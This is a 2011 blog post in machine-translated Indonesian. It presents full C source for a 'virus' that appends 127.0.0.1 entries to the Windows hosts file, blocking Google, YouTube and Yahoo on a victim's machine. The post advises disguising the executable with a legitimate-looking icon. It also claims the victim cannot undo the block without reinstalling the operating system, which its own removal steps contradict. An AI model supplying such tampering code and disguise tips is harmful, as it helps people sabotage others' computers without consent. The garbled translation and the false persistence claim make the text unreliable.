>

Ads 468x60px

Related Posts Plugin for WordPress, Blogger...

Selasa, 22 November 2011

A Virus Program to Block Websites

Sebagian besar dari kita akrab dengan virus yang digunakanuntuk memblokir situs Youtube Orkut dan. Jika Anda penasarantentang membuat seperti virus pada Anda sendiri, di sini adalah bagaimana hal itu bisa dilakukan. Seperti biasa saya akan menggunakan bahasa pemrograman favorit saya 'C' untuk membuat virus ini memblokir situs. Saya akan memberikanpengantar singkat tentang virus ini sebelum saya melompat ke dalam jargon teknis.

Virus ini telah secara eksklusif dibuat dalam 'C'. Jadi, siapa pundengan pengetahuan dasar tentang C akan mampu memahami kerja dari virus. Hal ini perlu virus untuk diklik hanya sekali oleh korban. Setelah diklik, itu akan blok daftar website yang telah ditentukan dalam kode sumber. Korban tidak akan pernah dapat menjelajahi situs-situs kecuali dia menginstal ulang sistem operasi itu. Ini memblokir tidak hanya terbatas ke IE atau Firefox.Jadi sekali diblokir, situs tidak akan muncul dalam salah satuprogram browser.


Berikut adalah source virus'a ...

#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Bagaimana Kompilasi?

Untuk langkah-demi-langkah panduan kompilasi, lihat posting saya Bagaimana mengkompilasi Program C.

pengujian

1. Untuk menguji, jalankan modul dikompilasi. Ini akan memblokir situs yang tercantum dalam kode sumber.

2. Setelah Anda menjalankan block_Site.exe file, restart programbrowser Anda. Kemudian, ketik URL situs yang diblokir danAnda akan melihat browser menampilkan kesalahan "Halaman tidak dapat ditampilkan".

3. Untuk menghapus jenis virus berikut Jalankan


%windir%\system32\drivers\etc

4.Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
. 
Share

Tidak ada komentar:

Posting Komentar